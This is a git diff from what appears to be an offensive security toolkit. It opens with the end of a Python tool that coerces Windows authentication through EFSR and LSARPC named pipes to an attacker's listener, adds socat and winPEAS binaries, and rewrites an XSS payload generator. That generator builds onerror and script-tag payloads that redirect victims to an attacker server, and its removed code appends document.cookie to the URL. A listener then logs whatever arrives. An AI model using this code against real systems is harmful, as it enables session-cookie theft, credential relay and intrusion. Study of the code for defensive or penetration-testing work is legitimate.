parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all')
|
||||||
|
parser.add_argument('listener', help='ip address or hostname of listener')
|
||||||
|
parser.add_argument('target', help='ip address or hostname of target')
|
||||||
|
options = parser.parse_args()
|
||||||
|
|
||||||
|
if options.hashes is not None:
|
||||||
|
lmhash, nthash = options.hashes.split(':')
|
||||||
|
else:
|
||||||
|
lmhash = ''
|
||||||
|
nthash = ''
|
||||||
|
|
||||||
|
print(show_banner)
|
||||||
|
|
||||||
|
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
|
||||||
|
from getpass import getpass
|
||||||
|
options.password = getpass("Password:")
|
||||||
|
|
||||||
|
plop = CoerceAuth()
|
||||||
|
|
||||||
|
if options.pipe == "all":
|
||||||
|
all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass']
|
||||||
|
else:
|
||||||
|
all_pipes = [options.pipe]
|
||||||
|
|
||||||
|
for all_pipe in all_pipes:
|
||||||
|
print("Trying pipe", all_pipe)
|
||||||
|
dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip)
|
||||||
|
if dce is not None:
|
||||||
|
plop.EfsRpcOpenFileRaw(dce, options.listener)
|
||||||
|
dce.disconnect()
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
win/socat.exe
Normal file
BIN
win/socat.exe
Normal file
Binary file not shown.
BIN
win/socat64.exe
Normal file
BIN
win/socat64.exe
Normal file
Binary file not shown.
BIN
win/winPEAS.exe
BIN
win/winPEAS.exe
Binary file not shown.
Binary file not shown.
129
xss_handler.py
129
xss_handler.py
@ -1,108 +1,71 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
from hackingscripts import util
|
from hackingscripts import util
|
||||||
import sys
|
from fileserver import HttpFileServer
|
||||||
import http.server
|
import argparse
|
||||||
import socketserver
|
import random
|
||||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
||||||
|
|
||||||
# returns http address
|
|
||||||
def getServerAddress(address, port):
|
|
||||||
if port == 80:
|
|
||||||
return "http://%s" % address
|
|
||||||
else:
|
|
||||||
return "http://%s:%d" % (address, port)
|
|
||||||
|
|
||||||
# returns js code: 'http://xxxx:yy/?x='+document.cookie
|
|
||||||
def getCookieAddress(address, port):
|
|
||||||
return "'%s/?x='+document.cookie" % getServerAddress(address, port)
|
|
||||||
|
|
||||||
def generatePayload(type, address, port):
|
|
||||||
|
|
||||||
|
def generate_payload(payload_type, url, index=None, **kwargs):
|
||||||
payloads = []
|
payloads = []
|
||||||
cookieAddress = getCookieAddress(address, port)
|
|
||||||
|
|
||||||
media_tags = ["img","audio","video","image","body","script","object"]
|
media_tags = ["img","audio","video","image","body","script","object"]
|
||||||
if type in media_tags:
|
if payload_type in media_tags:
|
||||||
payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (type, cookieAddress))
|
payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (payload_type, url))
|
||||||
|
|
||||||
if type == "script":
|
if payload_type == "script":
|
||||||
payloads.append('<script type="text/javascript">document.location=%s</script>' % cookieAddress)
|
payloads.append('<script type="text/javascript">document.location=%s</script>' % url)
|
||||||
payloads.append('<script src="%s/xss" />' % getServerAddress(address, port))
|
payloads.append('<script src="%s/xss" />' % url)
|
||||||
|
|
||||||
if len(payloads) == 0:
|
if len(payloads) == 0:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
return "\n".join(payloads)
|
return "\n".join(payloads)
|
||||||
|
|
||||||
class XssServer(BaseHTTPRequestHandler):
|
|
||||||
def _set_headers(self):
|
|
||||||
self.send_response(200)
|
|
||||||
self.send_header("Content-type", "text/html")
|
|
||||||
self.end_headers()
|
|
||||||
|
|
||||||
def _html(self):
|
|
||||||
content = f"<html><body><h1>Got'cha</h1></body></html>"
|
|
||||||
return content.encode("utf8") # NOTE: must return a bytes object!
|
|
||||||
|
|
||||||
def do_GET(self):
|
|
||||||
self._set_headers()
|
|
||||||
if self.path == "/xss":
|
|
||||||
cookie_addr = getCookieAddress(util.get_address(), listen_port)
|
|
||||||
self.wfile.write(cookie_addr.encode())
|
|
||||||
else:
|
|
||||||
self.wfile.write(self._html())
|
|
||||||
|
|
||||||
def do_HEAD(self):
|
|
||||||
self._set_headers()
|
|
||||||
|
|
||||||
def end_headers(self):
|
|
||||||
self.send_header('Access-Control-Allow-Origin', '*')
|
|
||||||
BaseHTTPRequestHandler.end_headers(self)
|
|
||||||
|
|
||||||
def do_OPTIONS(self):
|
|
||||||
self.send_response(200, "ok")
|
|
||||||
self.send_header('Access-Control-Allow-Origin', '*')
|
|
||||||
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
|
|
||||||
# self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
|
|
||||||
# self.send_header("Access-Control-Allow-Headers", "Content-Type")
|
|
||||||
self.end_headers()
|
|
||||||
|
|
||||||
def do_POST(self):
|
|
||||||
self._set_headers()
|
|
||||||
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
|
|
||||||
post_data = self.rfile.read(content_length)
|
|
||||||
print(post_data)
|
|
||||||
self.wfile.write(self._html())
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|
||||||
if len(sys.argv) < 2:
|
parser = argparse.ArgumentParser(description="XSS payload generator")
|
||||||
print("Usage: %s <type> [port]" % sys.argv[0])
|
parser.add_argument(dest="type", type=str, default=None, help="Payload type")
|
||||||
exit(1)
|
parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port")
|
||||||
|
parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address")
|
||||||
|
args, extra = parser.parse_known_args()
|
||||||
|
|
||||||
listen_port = None if len(sys.argv) < 3 else int(sys.argv[2])
|
listen_port = args.port
|
||||||
payload_type = sys.argv[1].lower()
|
payload_type = args.type.lower()
|
||||||
|
local_address = args.addr
|
||||||
|
extra_args = {}
|
||||||
|
|
||||||
local_address = util.get_address()
|
for entry in extra:
|
||||||
|
match = re.match(r"(\w+)=(\w+)", entry)
|
||||||
|
if not match:
|
||||||
|
print("Invalid extra argument:", entry)
|
||||||
|
exit()
|
||||||
|
key, value = match.groups()
|
||||||
|
extra_args[key] = value
|
||||||
|
|
||||||
# choose random port
|
# choose random port
|
||||||
if listen_port is None:
|
if listen_port is None:
|
||||||
sock = util.open_server(local_address)
|
listen_port = random.randint(10000,65535)
|
||||||
if not sock:
|
while util.is_port_in_use(listen_port):
|
||||||
exit(1)
|
listen_port = random.randint(10000,65535)
|
||||||
listen_port = sock.getsockname()[1]
|
|
||||||
sock.close()
|
|
||||||
|
|
||||||
payload = generatePayload(payload_type, local_address, listen_port)
|
http_server = HttpFileServer(local_address, listen_port)
|
||||||
if not payload:
|
payload_type = args.type.lower()
|
||||||
print("Unsupported payload type")
|
url = http_server.get_full_url("/", util.get_address())
|
||||||
|
payload = generate_payload(payload_type, url, **extra_args)
|
||||||
|
if payload is None:
|
||||||
|
print("Unknown payload type: %s" % payload_type)
|
||||||
|
# print("Supported types: ")
|
||||||
exit(1)
|
exit(1)
|
||||||
|
|
||||||
print("Payload:")
|
print(f"---PAYLOAD---\n{payload}\n---PAYLOAD---\n")
|
||||||
print(payload)
|
|
||||||
print()
|
headers = {
|
||||||
|
"Access-Control-Allow-Origin": "*",
|
||||||
|
"Access-Control-Allow-Methods": "GET, POST, OPTIONS"
|
||||||
|
}
|
||||||
|
|
||||||
|
http_server.addRoute("/", lambda req: (201, b"", headers))
|
||||||
|
http_server.dumpRequest("/")
|
||||||
|
http_server.serve_forever()
|
||||||
|
|
||||||
|
|
||||||
httpd = HTTPServer((local_address, listen_port), XssServer)
|
|
||||||
print(f"Starting httpd server on {local_address}:{listen_port}")
|
|
||||||
httpd.serve_forever()
|
|
||||||
|
Loading…
Reference in New Issue
Block a user